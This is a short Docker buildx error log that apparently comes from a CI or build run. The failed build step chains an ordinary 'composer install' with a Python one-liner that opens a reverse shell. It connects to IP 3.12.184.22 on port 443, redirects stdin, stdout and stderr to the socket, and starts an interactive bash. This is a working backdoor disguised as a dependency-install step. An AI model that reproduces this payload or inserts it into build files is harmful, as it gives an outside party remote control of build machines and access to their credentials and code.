buildx failed with: ERROR: failed to solve: process "/dev/.buildkit_qemu_emulator /bin/sh -c composer install --ignore-platform-reqs --no-dev --working-dir=/var/www/html && python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"3.12.184.22\",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2) ;p=subprocess.call([\"/bin/bash\",\"-i\"]);'" did not complete successfully: exit code: 255